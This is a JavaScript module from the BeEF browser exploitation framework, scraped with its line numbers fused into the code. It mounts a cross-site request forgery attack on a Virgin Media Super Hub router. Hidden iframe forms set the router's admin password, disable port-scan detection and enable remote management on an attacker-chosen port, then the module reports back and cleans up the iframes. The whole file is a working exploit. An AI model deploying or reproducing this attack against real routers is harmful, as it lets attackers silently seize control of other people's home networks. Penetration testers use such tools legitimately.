Path: blob/master/modules/exploits/router/virgin_superhub_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var gateway = '<%= @base %>';9var passwd = '<%= @password %>';10var port = '<%= @port %>';11var timeout = 15;1213var virgin_superhub_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", "application/x-www-form-urlencoded", [14{'type':'hidden', 'name':'NetgearPassword', 'value':passwd},15{'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd},16{'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'}17]);1819var virgin_superhub_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "goform/RgServices", "POST", "application/x-www-form-urlencoded", [20{'type':'hidden', 'name':'cbPortScanDetection', 'value':''}21]);2223var virgin_superhub_iframe3_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "goform/RgVMRemoteManagementRes", "POST", "application/x-www-form-urlencoded", [24{'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'},25{'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port}26]);2728beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");2930cleanup = function() {31document.body.removeChild(virgin_superhub_iframe1_<%= @command_id %>);32document.body.removeChild(virgin_superhub_iframe2_<%= @command_id %>);33document.body.removeChild(virgin_superhub_iframe3_<%= @command_id %>);34}35setTimeout("cleanup()", timeout*1000);3637});38394041